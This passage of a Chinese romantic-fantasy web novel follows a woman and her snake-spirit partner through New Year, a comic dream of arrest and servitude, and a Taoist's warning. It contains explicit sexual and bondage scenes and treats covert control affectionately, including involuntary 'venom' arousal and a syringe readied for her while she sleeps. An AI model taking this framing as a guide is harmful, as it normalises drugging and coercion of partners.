白蛇一直守在卧室的门外,它闻到了兰稚青的味道,房门刚刚一打开就迫不及待想要往里面钻,但是被沈寂眼疾手快给拽了出去。 它试图故技重施用尾巴去开门,可是沈寂早就换了电子锁,它努力了半天也没有任何结果,只能气呼呼地在外面打转。 相比于正在饱受折磨的兰稚青和外面气得团团转的白蛇,沈寂的姿态看起来从容多了。 外面的雪似乎下得更大了一些,沈寂给自己泡了杯花茶,悠闲靠在沙发上打开电脑敲着键盘:【可怜的兔兔试图用手指去触碰已经成熟的樱桃,可是由于采摘技术不够娴熟,她不仅 没有达成自己的目的,反而让自己变成了一颗水蜜桃。】 兰稚青缩在被子里,就像是一根被绷紧的琴弦,她试图不断用力将琴弦扯断,但是不仅累到了自己,结果更是一无所获。 她只要在差一点点就能得到解脱,可是到最后自己的手指甚至已经开始打滑,漫长的折磨让她大脑都变得迟钝发木,只能不停重复着机械性的动作。 沈寂喝了口茶,继续写道:【水蜜桃起初是白色的,那种白不像冬日的新雪,也不像白软的棉花,而是带着露水,如同刚刚剥好的菱角嫩嫩的白,随着成熟,白色会逐渐染上淡红,甜润的汁水隐匿于果肉之中。】 【桃子味的兔兔意识到自己没有办法直接采摘樱桃,只能转而选择去制作裹着奶油的雪媚娘。】 兰稚青意识到自己这样做是无用功,她躺在床上犹豫了片刻,试着采取迂回战术。 她的手指上移,像是揉面团一样重重揉了揉,开始回忆从前沈寂都是怎么做的。 沈寂…… 沈寂会亲她咬她含着轻轻舔,他说她是软绵绵的夹心棉花糖。 兰稚青逐渐摸索到了一点点的窍门,可是却依旧不足以解决她现在的困境,反而是让火烧的越来越烈。 白蛇在卧室门口等了许久,它头上的红色针织小帽子都因为它的动作蹭歪了,可是始终没有等到兰稚青出来,只能悻悻地又凑到沈寂的身边。 它趴在沙发扶手上有些好奇地探头去看沈寂的电脑屏幕。 什么樱桃水蜜桃菱角的,他是在写菜单吗? 白蛇对此失去了兴趣,它有些恹恹地回到了自己的小窝,闻着毯子上仅存不多兰稚青的气味,有些委屈地把自己盘了起来。 味道又变淡了,妈妈怎么还不出来。 想妈妈…… 沈寂喝完了半杯茶,放在旁边的手机突然响了一声。 我是小皇帝(约稿请看置顶):【……我同意了,你快点进来。】 Schlange:【兔兔疑惑.jpg】 Schlange:【宝宝,我不懂你在说什么。】 我是小皇帝(约稿请看置顶):【……】 我是小皇帝(约稿请看置顶):【你说的事情我答应了。】 我是小皇帝(约稿请看置顶):【……你可以把我绑起来。】 Schlange:【宝宝,我不是说了过时不候吗。】 Schlange:【^^现在涨价了哦。】 我是小皇帝(约稿请看置顶):【……那你不绑我,我可以给你表演。】 Schlange:【我现在的要求是先步骤一,后步骤二。】 对面的兰稚青许久都没有回复,沈寂也丝毫不慌,他起身走到了白蛇的汉堡窝前垂眸盯着它。 白蛇感受到了动静,有些警惕地抬起了头,下意识把自己的红色针织小帽子用尾巴塞到了身下。 “……蠢蛇。” 沈寂见状冷哼了一声,心里隐约有些许的不满。 虽然说四舍五入这顶小帽子也算是送给他的没错,可是从前兰稚青可从来没有给他织过什么东西。 白蛇用尾巴尖尖把小帽子遮了起来,沈寂本来想拿,可是听到放在旁边的手机再度响起,他又暂时作罢,转而解锁了手机。 上面只有一条简短的消息,是兰稚青所发。 我是小皇帝(约稿请看置顶):【……你进来吧。】 沈寂见状挑了挑眉,对这个结果并不感到任何的意外。 他慢吞吞打开了卧室的门,还未来得及看清里面的景象,兰稚青就已经扑到了他的身上。 她浑身上下都湿透了,身上的衣服也被水浸湿,皮肤还有些泛凉。 沈寂微不可察皱了皱眉,忙问道:“乖乖,你这是怎么了?” “我……我刚刚去洗了个澡,可是一点都不管用……” 兰稚青在他的怀里乱扭,眼泪啪嗒啪嗒掉个不停,显然已经被折磨到了极限。 “你洗的凉水澡吗?” 沈寂本来以为自己进来后看到的会是什么活色生香的水蜜桃兔子,没想到却是一直湿漉漉的落汤兔,他连忙帮兰稚青脱下身上湿透的衣服,拿过厚实的浴巾帮她擦拭干净身上的水。 可是兰稚青像是橡皮糖一样死死黏在他的身上,她凑过去胡乱去亲沈寂,早就把其他事情抛到九霄云外了。 沈寂猝不及防被她压在了床上,他的手指顺着兰稚青的意思摸了进去,在关键的地方不轻不重地按了两下,兰稚青哼唧了一声,整个人几乎也要像一滩水一样化在他的身上。 可是下一秒,沈寂却又收回了手。 兰稚青有些茫然,她下意识想要挽留,可是沈寂却反手把她压回了床上。 “宝宝,你是不是忘了什么事情。” 沈寂似笑非笑地打量了她一眼,“我还没收取我应得的报酬。” 兰稚青本来以为这件事已经被糊弄过去了,没想到沈寂不依不饶,硬是摆出一副她不做他也就不会帮她解决的架势。 她咬了咬唇,只能脸色通红地张开了腿,准备对着他重新演示一遍自己刚刚做的事情。 “怎么都红了。” 沈寂突然按住了她的腿,他垂眸仔细看了看,轻声教导道:“下次下手要轻一点。” 兰稚青腿都在发抖,她的手指颤颤巍巍碰了上去,胡乱摸了两把几乎羞愤欲死,打算就这样草草结束糊弄过去。 啪—— 沈寂见她偷懒,冷脸毫不留情一巴掌扇了上去。 兰稚青尖叫了一声,她下意识想要合上腿,可是沈寂却不知道从哪里找出来的绳子直接把她以一种奇怪的姿势绑住, 她挣扎了两下没有挣开,反而不知道为什么越收越紧,就连手腕都被绑在了后面。 兰稚青从来不知道自己的柔韧性可以这么好,她眼泪汪汪地看着沈寂,带着哭腔道:“好疼……” “真的很疼吗。” 沈寂闻言温吞笑了笑,他抬手轻轻摸了一下,湿润的指尖直接擦到了兰稚青的脸颊上,惋惜道:“小骗子,你又在撒谎了。” “作为惩罚,你就现在这里当一会儿木头人吧。” 兰稚青觉得自己现在整个人都像是熟透的虾子,她已经在这上面浪费了很长的时候,整个人早就已经没了多少力气,此时见沈寂还迟迟不肯兑现自己的承诺,她的眼泪掉个不停,“你骗我……你又骗我……” “好了乖乖,别哭了。” 沈寂本来只是想吓唬一下兰稚青,此时看到她又在可怜巴巴地掉眼泪,一时间又有些心软。 他灵活解开了绑住兰稚青的绳子,主动捧起她的脸颊和她接吻,暧昧的声音在室内再度响起。 兰稚青声音急促,整个人像是泡在温泉里一样舒服,她断断续续问道:“你……你是不是又偷偷给我下东西了……” 不然她为什么会变得这么奇怪。 “不是我,是蛇。” 埋头苦吃的沈寂轻轻咬了她一口,如愿以偿看到兰稚青颤抖着打了个哆嗦,他随口解释道:“你只是被毒给刺激到了。” “……你不是说没毒吗?” 兰稚青还想在继续质问下去,可是她的理智很快便会被过度超载的感官所压制。 外面似乎又放起了烟花,兰稚青觉得自己似乎隐约听到了声音,可是她不知道这是幻听还是真实。 在过度的疲惫之后,她好像已经丧失了对外界的感知。 沈寂轻轻吻过她的脸颊,声音极轻道:“新年快乐。” 昏昏欲睡的兰稚青听到沈寂的话像是突然清醒了过来,她慢吞吞坐了起来,在枕 头底下摸索了片刻,拿出一条针织围巾系在了沈寂的脖子上。 即使在黑暗之中,沈寂还是能看到她的眼睛就像亮晶晶的钻石,她对他露出了柔软的笑意,回答道:“新年快乐。” 沈寂有些发愣,他摸了摸自己脖子上柔软的围巾,再看了一眼床边散落的绳子,他的脑子里只有一个想法。 我真该死啊。 第48章 第48章宝宝主人 “……你为什么哭了?” 兰稚青歪了歪头,她摸了摸沈寂的脸颊上的眼泪,迟疑道:“你不喜欢吗?” “我喜欢……” 沈寂摸着柔软的围巾,那张漂亮的脸上满是惊喜,他突然又紧紧抱住了兰稚青,喃喃道:“我好喜欢这份礼物,这是我有史以来收到过第二喜欢的礼物。” 兰稚青愣了一下,疑惑道:“那你第一喜欢的是什么?” “……是戒指,那是我这辈子最喜欢的礼物。” 沈寂蹭了蹭兰稚青的颈窝,撒娇道:“宝宝,接下来换你来绑我吧。” 昏昏欲睡的兰稚青闻言猛然抬起了头,一脸震惊地看着他。 不是。 为什么突然要对她恩将仇报?! “这个……不太好吧。” 兰稚青露出了一个尴尬而又不失礼貌的微笑,她试图默默和沈寂拉开距离,可是刚刚有所动作就被沈寂按住。 他从自己枕头底下掏出备用的绳子塞到兰稚青的手里,脸上的泪痕还没有干,神色既羞涩又兴奋。 腰酸背痛的兰稚青盯着沈寂鼓励的眼神接过了那节绳子,她一时间欲哭无泪,颤颤巍巍道:“我……我不会……” “很简单的,你把我绑起来……然后对我做什么都可以。” 沈寂将主动权交到了兰稚青的手上,语气轻柔蛊惑着她的神智,就像是一只艳妖在引诱无辜之人堕落。 兰稚青盯着他半晌,终于再也压制不住自己内心的破坏欲。 她二话不说直接欺身而上,用绳子把沈寂的手腕结结实实绑了起来。 沈寂对此丝毫没有做出任何的反抗,甚至还建议道:“如果你嫌我吵,也可以找东西把我的嘴堵起来。” 这倒确实也很有必要…… 兰稚青闻言在周围环视了一圈,可是都没有找到适合把沈寂嘴堵上的东西。 沈寂弯了弯眉眼,再度提议道:“你今天穿的小松鼠就很适合。” ……小松鼠? 兰稚青愣了一下,后知后觉意识到沈寂是在说什么,她脸色涨红,直接抬手捂住了沈寂的嘴。 沈寂无辜眨了眨眼睛,而后探出舌尖轻轻舔了舔兰稚青柔软的掌心。 兰稚青猛然缩回自己的手,她瞪了沈寂一眼,突然开口道:“现在我是你的主人对吧?” 沈寂闻言弯了弯眉眼,“嗯,宝宝主人。” “那你是不是什么都应该听我的?” 兰稚青小心翼翼掐了一下沈寂的脖子,沈寂看起来似乎更加兴奋了,毫不犹豫认可道:“当然,你让我做什么我就会做什么。” “那好,现在主人命令你把嘴闭上。” 兰稚青拍了拍沈寂的脸颊,沈寂闻言乖乖闭上了嘴,等待着兰稚青接下来的指示。 “那我们先玩一会儿放置play。” 兰稚青给沈寂盖上被子,自己自顾自躺了回去,叮嘱道:“没有我的话你不准碰我哦。” 沈寂乖乖接受了宝宝主人的指示,心里是压不住的兴奋。 五分钟过去了。 宝宝主人没有任何指示。 十分钟过去了。 宝宝主人没有任何指示。 半个小时过去了。 宝宝主人还是没有任何指示。 一个小时过去了。 沈寂盯着她的背影,突然开口道:“……宝宝,你是不是已经睡着了?” “嗯?” 兰稚青闻言猛然从睡梦中惊醒,她擦了擦自己嘴角的口水,结结巴巴道:“我没有啊,谁让你突然说话的,不知道没有主人的吩咐不能开口说话吗?” “对不起宝宝主人,我错了,请您惩罚我吧。” “……那就再罚你闭嘴两个小时。” 兰稚青翻了个身,再度安心闭上了眼睛。 在黑暗之中,沈寂的手突然搭在了她的腰上。 兰稚青猛然睁开了眼睛,下意识想要坐起身来,难以置信道:“你怎么自己把绳子解开了?!” “不是我解开的,是你没有绑紧。” 沈寂把兰稚青按回了床上,兰稚青下意识拿起枕头想躲,可是手指却触到了坚硬的物体。 她愣了一下,掀起枕头一看,发现自己的枕下压着一个厚厚的红包。 “……这是你放的吗?” 兰稚青拿起了那个红包,沈寂点了点头,“图个好意头。” “自从我七岁之后,我还是第一次收到压岁钱。” 兰稚青格外珍惜地拿着那个红包重新躺回了床上,小声道:“之前他们都只给兰智刚和兰智正包红包。” 兰父兰母一直告诉她红包只是一个社交流程,父母养她已经很费事了,更没有义务再给她压岁钱。 可是他们没义务给她包,那就有义务给兰智正和兰智刚包了吗? 不过今年兰家估计也不会再有什么包红包的机会了。 据说冯丹找人暴揍了兰智刚一顿,把兰智刚手脚都给打骨折了,大过年的兰家人还在派出所医院两头跑。 而沈寂知道的还更多一点,比如兰父被气得高血压跟着一起住院,兰母本来还任劳任怨照顾他,结果被兰父在医院指着鼻子痛骂,一气之下回了娘家,不小心在路上摔断了腿。 再比如唯一一个胳膊腿儿都健全的兰智正,他最近赌钱上瘾,甚至还借了网贷,每天的利息像滚雪球一样越滚越多,他总以为自己很快能赢钱翻身,可是投的越多输的也就越多。 不过现在明显不是提这么煞风景的人和事的时候,沈寂把兰稚青重新抱回了怀里,兰稚青手里拿着红包高高兴兴闭上了眼睛,心想自己一定会做个好梦。 外面的烟花几乎照亮了整个天空,可是室内却安静无比。 兰稚青今天实在是太累了,她睡得很熟,就连被子里的蛇尾卷住她的小腿都没有丝毫的察觉。 沈寂觉得她已经渐渐睡熟,所以大着胆子把她缠了起来,那双本来淡金色的眼眸变得雾蒙蒙的。 他像是吃蛋糕一样吐出信子轻轻舔了一下她的皮肤,似乎真的能从里面品出些许的甜味。 好喜欢好喜欢好喜欢…… 这马上就会是属于他的小蛇了…… 在黑暗之中,那双竖瞳死死盯着兰稚青,他张嘴露出了毒牙,似乎是在思考自己该从哪里下口。 只要他直接咬下一口,她就再也不会离开他的身边…… 睡梦中的兰稚青似有所感,她有些难受地动了动,像是感受到了外界施加给自己的压力,翻身迷茫地睁开了眼睛,看到眼前的白蛇才放下心来。 “……你怎么又偷偷上床了。” 她随手抱住了面前的巨大白蛇,含糊不清道:“蛇蛇,你不能再吃了,本来就已经是超级大胖蛇了……” 超级大胖蛇? 是在说他吗? 他到底哪里胖了?! 沈寂猝不及防被她抱住,他有些怀疑地看了一眼自己的体型,最终还是理智战胜了本能,他重新化成了人形,盯着兰稚青的睡颜陷入了长久的沉默。 兰稚青不知道沈寂这一晚心里经历了怎样的漫长斗争,她心满意足睡了一个好觉,在五点钟沈寂起床的时候,她也跟着一起苏醒。 “饿了吗?” 沈寂亲了亲她的脸颊,随口道:“我先去做饭。” 两人昨天从白天闹到晚上,基本都没怎么吃东西,兰稚青迷迷糊糊应了一声,沈寂才刚刚打开门,一直守在外面的白蛇就以迅雷不及掩耳之势钻了进来。 “蛇蛇?你怎么又跑到外面去了。” 兰稚青看着白蛇有些诧异,奇怪道:“昨天晚上你不是在房间里吗?” 沈寂微微一顿,解释道:“它昨晚太闹腾了,我怕吵着你睡觉,就把它先放回窝里了。” “是这样啊……” 白蛇的尾巴还缠着兰稚青织给它的小帽子,它小心翼翼上床晃了晃自己的尾巴,兰稚青立马心领神会,帮它把红色小帽子戴好。 “好了,漂亮蛇蛇,和爸爸一样漂亮。” 兰稚青觉得它摇头晃脑的样子很可爱,所以摸了摸它的尾巴,随口问道:“我们蛇蛇有没有什么新年愿望呀。” 白蛇闻言歪头吐了吐信子,有些兴奋地要往兰稚青的怀里钻。 愿望? 想和妈妈生蛇蛋! 沈寂脸色陡然大变,直接抓住了它的蛇头,二话不说就把它拽了出来。 “宝宝,它看起来像是要咬人了,我先带它出去教育一下。” 兰稚青本来想要阻止,可是听到沈寂的话却又变得迟疑,毕竟昨天她被白蛇的毒牙碰了一下,后果实在是让她有点承受不住,她只能点了点头,小声道:“那你不要虐待动物哦。” 沈寂把蛇拽出了门外,盯着有些躁 动的白蛇教育道:“你听着,虽然你就是我的分身,你是我,我是你,但是在这个家里,我是老公,你是儿子,妈妈就是妈妈,妈妈不可以当老婆。” 白蛇嘶嘶吐着信子,它不明白为什么妈妈不能成为老婆,妈妈是沈寂的老婆,它是沈寂的分身,也就是说它也是沈寂,那妈妈为什么不是它的老婆呢。 沈寂才懒得理会它到底有没有听懂,直接开口补充道:“另外还有最重要的一点,妈妈是不可能生蛇蛋的。” “因为妈妈是丁克,所以我已经结扎了,你死了这条心吧。” “还有……” 沈寂有些嫌弃地看了一眼白蛇,没好气道:“你别吃了,都快吃成超级大胖蛇了。” 第49章 第49章你是兔兔蛇 按理说过年期间都该喜气洋洋四处出门走亲戚,但兰稚青刚刚和家里断了关系,沈寂的亲人据说又都死干净了,他们反倒是少了这个最麻烦的步骤。 沈寂一直想把家里的白蛇分身回收掉,所以年后便找了个借口要送蛇去国外治疗,只和兰稚青一起回了A市。 “蛇蛇的病什么时候会治好啊?” 兰稚青裹着厚实的被子躺在床上,有些担忧地对沈寂问道:“我们可以过去看它吗?” “别担心,很快就会治好的,而且它太胖了,正好去国外减减肥。” 沈寂帮兰稚青掖了掖被子,温声道:“不是说困了吗,先睡一会儿吧。” 兰稚青闻言点了点头,抱着自己的兔子玩偶缩在被子里默默闭上了眼睛。 最近也不知道是怎么了,她总觉得自己怕冷又容易犯困,即使是在温暖的室内,她也必须要盖着厚厚的被子,一天二十四个小时,她有十六个小时都在睡觉,每回睡醒都哈欠连连头晕目眩。 一开始她以为是生病了,可是体检结果却没什么异常,医生说她是只是太累了。 可兰稚青也不知道自己到底有什么累的。 她每天睡了吃,吃了睡,一天的活动量只有抱着蛇看动画片,还有被沈寂拉着做运动。 明明之前她和沈寂打游击战的时候,白天偷偷摸摸在饭菜里下毒,晚上还能兢兢业业值夜班给玫瑰花喷敌敌畏。 那个时候她怎么没觉得有这么累…… 兰稚青想不明白,也不打算再去细想,对于她而言,现在连思考都成了一项大费精力的活动。 沈寂听到她的呼吸逐渐变得均匀,确认她已经完全睡着后才放下心来。 他从抽屉里拿出自己早就准备好的针管,小心翼翼把兰稚青的胳膊从被子里拿了出来,但是犹豫了片刻,却什么都没有做。 还是算了。 虽然见效快,但还是让她慢慢适应吧。 沈寂俯身在她的脸颊上落下一吻,他关上灯,拿着手里的针管起身离开。 兰稚青对发生的一切都浑然不知,她埋在被子里睡得昏天黑地,甚至又梦见了熟悉的荒郊野岭,熟悉的书筐,熟悉的剧情,熟悉的穷书生,熟悉的进京赶考。 她仔细看了看自己身上的粗布麻衣,再环视了一圈周遭的荒郊野岭,忍不住长叹了一口气。 难道这里真的就是传说的任务刷新点吗,怎么回回都是这种路数。 兰稚青回想了一下自己曾经的经历,进京赶考会遇见蛇妖公主沈寂,当场回家会遇到蛇妖老婆沈寂,原地不动还是会遇到蛇妖大小姐沈寂。 既然不管怎样都是一个结果,那她还不如原地躺平等着沈寂过来捡她,这样既不用上京赶考,也不用费老多事再走山路回家。 兰稚青非常乐观地在原地坐了下来,等待着之前的NPC过来问她要不要跟着他一起去府上歇歇脚,这样她就可以顺理成章去找沈寂蹭吃蹭喝。 可是不知道为什么,她今天等了又等,等的她又饿又渴又冷又困,也丝毫没有看到半个人影。 别说大小姐家里的家丁了,就连路人都没看见有人来。 兰稚青没办法,只能不情不愿地从石头上起身,准备自己摸索着下山去找沈寂。 此时天色已黑,昏暗的树林里依稀有几道火光闪过,兰稚青尚在茫然,便听到急匆匆的脚步声,伴随着阵阵呼喊。 “找到了!那个妖女在这里!” 兰稚青一脸懵,还未来得及反应过来,周遭便被一群拿着火把的锦衣卫团团围住。 为首的一人身着飞鱼服,腰佩绣春刀,缓缓在她的面前站定,兰稚青抬头一看,猝不及防对上了沈寂那张漂亮的面容。 沈寂身旁的老头指着兰稚青大喊:“沈大人,这就是那个在城中为非作歹的蛇妖!” “不……不是,我不是蛇妖!” 兰稚青闻言连忙摆手,她试图为自己辩解,可是那群锦衣卫却直接上前把她五花大绑起来,说是要当场砍了她的头。 “不要杀我,不要杀我,我真的不是妖怪!” 兰稚青实在没想到剧情会发展成这样,她吓得脸色发白,下意识向沈寂求助,“沈寂,你快帮帮我……我真的不是他们说的蛇妖……” 可是这一回的沈寂却没有像之前那样过来亲亲抱抱她,他神色冷淡,那双清冷的眸子微微垂下,看向她的眼神冷冰冰的,仿佛她完全就是什么陌生人。 “大胆妖女,死到临头了还敢攀扯沈大人!” 旁边的锦衣卫拔刀准备动手,兰稚青害怕得闭上了眼睛,在刀即将落下的瞬间,沈寂才终于开口:“且慢。” 锦衣卫闻言立马停住了动作,兰稚青眼泪吓得流个不停,她怯生生看着面前的沈寂,生怕他又要下令砍了自己的头。 “把她先带回去,等把事情都问清了再杀。” “是。” 锦衣卫闻言拱手听令,他们把兰稚青拽起来塞进马车,一路将她带回了一个巨大的监牢。 兰稚青抹着眼泪坐在牢房的角落,终于明白了一个道理。 过度的内卷和躺平都不是好办法,要是她当初老老实实进京赶考,现在早就成状元了,也不会被当成妖怪关在这里。 这足以见得:学习,到底是一件多么重要的事情! 兰稚青在牢里等了好长时间,终于听到了外面传来的脚步声。 沈寂孤身一人走进牢中,他站在牢门外打量了兰稚青许久,突然掏出钥匙打开了锁。 兰稚青有了之前差点被杀头的教训,她不敢自己主动凑过去,只是躲在角落里有些警惕地看着沈寂。 沈寂像是拎小鸡一样把她拎了出来,直接绑到了外面的邢架上,他自己则是慢条斯理坐在了椅子上,开口问道:“叫什么名字?” 兰稚青吸了吸鼻子,小声道:“……兰稚青。” “这条通缉蛇是你儿子对吧?” 沈寂起身从袖子里掏出一张照片放到兰稚青的面前,要求她辨认上面的犯罪嫌疑蛇。 虽然兰稚青不明白为什么这个时代会有照片的存在,但是她还是老老实实抬头去看。 照片上是一条大白蛇,头上还戴着一顶红色的小帽子,正盘在汉堡窝里一脸呆萌地对着镜头吐着信子。 兰稚青一眼就认出来这是她的蛇儿子,她连忙点了点头,胆战心惊问道:“敢问大人,不知它是犯了什么罪?” “这条超级大胖蛇偷吃了两百多根地瓜 干,三斤无花果和五斤柴鸡蛋,连带一整个果园的苹果,如今它已经被告上公堂,你既然是它的监护蛇,那也脱不了干系!” “大人,钱我会赔的,它偷吃的所有东西我都会赔的。” 兰稚青欲哭无泪,解释道:“但我是冤枉的啊,虽然我是它的妈妈,可是我真的不是蛇妖啊!” 沈寂闻言不置可否,他抬手用刀尖挑开了兰稚青的衣领,看到她皮肤上若隐若现的白色蛇鳞不由得冷笑了一声,“还敢狡辩你自己不是蛇妖,你的身上都有蛇鳞,这分明就是证据确凿。” “蛇鳞?” 兰稚青愣了一下,她下意识低头去看,整个人吓得魂飞魄散,结结巴巴道:“不是……我真的不是蛇……” 可是沈寂却懒得听她的继续狡辩,他直接动手解开了兰稚青的衣带,要仔细检查她身上还有没有什么其他的蛇妖证据。 兰稚青吓了一大跳,她下意识想要挣扎,可是四肢都被绑在架子上,只能带着哭腔向沈寂求饶,“不要这样,你不要脱我衣服……” “你一个妖怪,难道还怕羞吗?” 沈寂下定决心今日要对她严刑拷打,可是看到她背后的白色毛绒尾巴却肉眼可见陷入了困惑。 “奇怪,你怎么还长着兔子尾巴?” 沈寂伸手揉了一下,兰稚青立马倒吸了一口冷气,可怜巴巴地看着他,希望他能手下留情。 沈寂抓着她的尾巴在掌心轻轻揉了揉,追问道:“你是什么蛇,兔兔蛇吗?” “不是蛇……我真的不是蛇妖。” 兰稚青急得眼圈都红了,可是沈寂却没打算放过她,他捏住了她的下巴,命令道:“把嘴张开,舌头吐出来,我要好好检查一下你有没有蛇信子。” 兰稚青没办法,只是乖乖把嘴巴张开让他检查,沈寂仔细查看了一番,又觉得肉眼看得不够细致,所以决定亲力亲为用嘴好好再检查一遍。 “确实没有蛇信,看来你不是蛇妖,而是兔子妖。” 沈寂缓缓和她分开,一脸严肃地下了定论。 兰稚青觉得自己嘴都被亲肿了,闻言辩解道:“我是人!我不是妖怪,我真的是人……” 沈寂闻言不做争论,他的手只是缓缓向下摸去,兰稚青话说到一半猛然僵住,她的腿下意识想要合拢,可是奈何被绑在架子上根本无法用力,只能眼睁睁看着沈寂对她严刑拷打。 “果然在说谎。” 沈寂收回自己被弄湿的手,在兰稚青面前展示,理由充分道:“只有兔子才会这么快。” 第50章 第50章我总觉得你是狐狸精 兰稚青遭受了前所未有惨无人道的折磨,她只是一个穷书生,兜里一共就几枚铜板,完全赔不起大胖蛇造成的损失。 到最后她只能卖身还债,和她和通缉蛇儿子一起被沈寂抓到府上为奴为婢偿还债务。 兰稚青白天在家里挑豆子,大胖蛇吭哧吭哧磨豆子,到了晚上还要去给沈寂暖床,她好不容易才睡热乎的被窝,沈寂一来她就必须让给他,如果她不听话,那她的蛇儿子就只能饿着肚子。 不仅如此,沈寂还找各种借口折磨她。 兰稚青因为在挑豆子的时候不小心在绿豆里混了一颗黄豆,被沈寂以工作不认真为由抓到床上狠狠教训了一通。 大胖蛇因为太饿了偷吃了一个苹果,兰稚青又被沈寂以子不教母之过为由抓到床上教训了一遍。 她和大胖蛇晚上趁着没人抱头痛哭,沈寂又以她扰民为借口把她拉到床上教训了好几遍。 兰稚青曾经无数次回想起自己曾经的美好生活,她若是肯老老实实回家,虽然劳作辛苦,但家里的贤妻对她事事顺从,从不忤逆,她若是肯进京读书,虽然会被公主看上,但至少不会每日过得如此胆战心惊。 万恶的奴隶主沈寂在她的兔子尾巴上绑了一个铃铛,只要一动就会响个不停,借此精准把握她每天的动向。 兰稚青听说公主马上要选驸马举办宴会,她不禁伤心地落下泪来。 而也就在这时,一位仙风道骨的仙人出现在了她的面前。 对方长着一张和沈寂一模一样的脸,说愿意帮助她去见公主,但前提是她必须在子时之前赶回来,否则便会被沈寂发现端倪。 兰稚青闻言连忙点头答应下来,可是对方也提出了要求。 “你身上长着尾巴,还带着铃铛,若是这样出现未免太过引人注目,不如把你的尾巴送给我作为交换。” 兰稚青点头答应了下来,掀起自己的裙摆露出那团毛绒绒的兔子尾巴,仙人沈寂将手放在她的尾巴之上,下一秒露出了他的真实面目。 “我就知道你想偷偷逃走,今天一试你就上钩。” 沈寂抓着她的尾巴恶狠狠咬了几口,兰稚青浑身颤抖,尾巴上的铃铛也响了不停,她下意识想要求饶,可是沈寂却毫不留情开口威胁。 “今天晚上那条大胖蛇没有苹果吃了!” …… 兰稚青猛然从床上坐了起来,沈寂因为她的动作吓了一跳,他下意识起身抱住了她,柔声问道:“怎么了乖乖,是不是做噩梦了……” 梦里熟悉的声音再度出现在耳边,兰稚青连忙摸了摸自己身上的皮肤,确认自己身上没有出现蛇鳞和兔子尾巴才终于放下心来。 沈寂被她的动作弄得有些摸不到头脑,他习惯性地想要亲亲,结果还没来得及碰到兰稚青就被她一把推开。 “你离我远点!” 兰稚青一看到沈寂那张漂亮的脸就想起了自己梦里的悲惨生活,她越想越气,越气越恼,觉得自己不能就这么放过沈寂这个可恶的奴隶主。 她突然扑到了沈寂的身上对他又啃又咬,沈寂一时受宠若惊,实在没想到一觉醒来天上就掉馅饼了。 他手指顺势摸进了兰稚青的裙摆,却不想兰稚青下一秒突然像是炸毛了一样把他推开,气乎乎道:“你出去,你不要待在这里。” “宝贝,到底出什么事了。” 沈寂实在是不知道兰稚青到底在生什么气,兰稚青见他不走又把自己埋在被子里裹成了一个大蚕蛹,不管他说什么都不肯出来。 到底是哪里出了问题…… 是他偷走兰稚青小绵羊的事情被发现了?还是他昨天晚上偷偷舔她的事情又露馅了? 沈寂把自己这辈子做过的错事都想了一遍,愣是没想出来兰稚青到底是因为什么在生气。 兰稚青像是真的和他杠上了一样,他不走,兰稚青就一直躲在被子里,沈寂没办法,只能起身下床先离开卧室。 直到听到了关门的声音,兰稚青才终于舍得从被子里探出头,她知道自己把梦里发生的事情迁怒到现实里很幼稚,可是这种梦三天两头的做,她觉得自己马上都要神经衰弱了。 外面淅淅沥沥的雨声响个不停,她靠在床头听了一会儿,才想起今天天气预报才提醒今天晚上可能会下一场大雨。 兰稚青想继续再睡,可是一闭眼又想起梦里沈寂对她的严刑拷打,心里总觉得打怵,犹豫了许久还是默默摸出了手机,准备查一下这到底是什么原因。 之前是梦见梦里有蛇,现在直接梦到自己变成了蛇。 【解梦,解卦,解签,限时特惠,先到先得!双人成团尽享团购价,另送白龙山文创产品一套……】 一条的消息突然弹了出来,兰稚青愣了 一下,发现是纪云飞群发的广告。 差点忘了,他还是个道士。 兰稚青一想到他就想起那堆乱糟糟的绿毛,实在难以把他和仙风道骨的道士联系在一起,虽然以貌取人不太好,但是初见印象实在有些难以磨灭。 不过这个绿毛道士好像确实是有几分本事的…… 坚定的唯物主义者兰稚青心里产生了些许的动摇,她想了想,还是给对方发去了消息,【解梦什么价格?】 纪云飞回消息回的很快,但是话却说的奇奇怪怪,【你需要的应该不是解梦吧。】 我是小皇帝(约稿请看置顶):【这话是什么意思?】 白龙山专业驱鬼:【大妹子,恕我直言,你是不是经常觉得自己睡不好觉,身心俱疲,体虚乏累?】 我是小皇帝(约稿请看置顶):【是这样没错。】 我是小皇帝(约稿请看置顶):【但是当代年轻人难道不都是这样的吗?】 白龙山专业驱鬼:【……】 白龙山专业驱鬼:【这倒也是哈。】 白龙山专业驱鬼:【我也不瞒你,你的情况还真的和别人不一样,我在你的身上闻到了妖味,你可以不信,但是出于职业道德,我还是要提醒你,小心驶得万年船。】 我是小皇帝(约稿请看置顶):【……什么妖味?能不能说的再仔细一些。】 白龙山专业驱鬼:【不方便多说,如果你有时间可以来道观一下,我不会收你钱的。】 纪云飞说完这句话便不再言语,哪怕兰稚青主动提出要付费他都不回应。 兰稚青没办法,只能暂时歇了这个念头。 她本来想要直接退出手机,可是约稿软件却突然提醒她约稿橱窗里专门设置的防拍价约稿被人拍了下来。 “怎么回事……” 兰稚青有些奇怪,自从她之前防拍价设置成9999却被当时还是Schlange的沈寂拍走后,她就把自己的防拍价改成了99999。 一般情况下,虽然会有手滑的单主不小心拍下,但是总不至于手滑这么大的金额。 她合理怀疑是哪家的少爷小姐过年又收获了巨额压岁钱。 兰稚青果断在页面发起了退款,并附言:【本链接为公告防拍链接。】 对方显示了许久的正在输入,而后弹出了一句,【小皇帝老师你好,我看你的橱窗里没有再上链接,想问下现在还可以约稿吗?】 兰稚青点进对方的主页看了一眼,回复道:【不好意思,目前没有时间,不接约稿了。】 【那可以先扩一下列吗,要是老师有档期的话我第一个排队,我真的很喜欢老师的画风。】 对方给出的理由合情合理,而且看主页也不是未成年,兰稚青倒也没有多想,直接把自己小号的联系方式发了过去。 对方的好友申请马上弹了出来,上来就是对她一通千奇百怪的彩虹屁,她的朋友圈里还有去漫展的照片,看起来是个很阳光开朗的女孩子,兰稚青这才终于打消了所有的戒心。 只是对方朋友圈里转发的一则新闻让她觉得有点在意,上面标题赫然写着【知名学府竟成学生炼狱,无视学生求救导致学生走上绝路】 兰稚青皱了皱眉,点开一看才发现是有关之前自杀的谭钰琳的事情。 谭钰琳的父母两年前曾因为女儿的自杀到学校大闹了一通,甚至因为赔偿分配不均当众动手,时隔两年后,他们却又再度出现在媒体的面前,要求学校给他们继续进行二次赔偿。 理由是他们近期在整理遗物时找到了谭钰琳的日记,上面清楚记录她曾经向A大的心理咨询室某位周姓老师求助过自己的困境,也曾经透露过自己想要自杀的想法,而这一点当初学校并未告知。 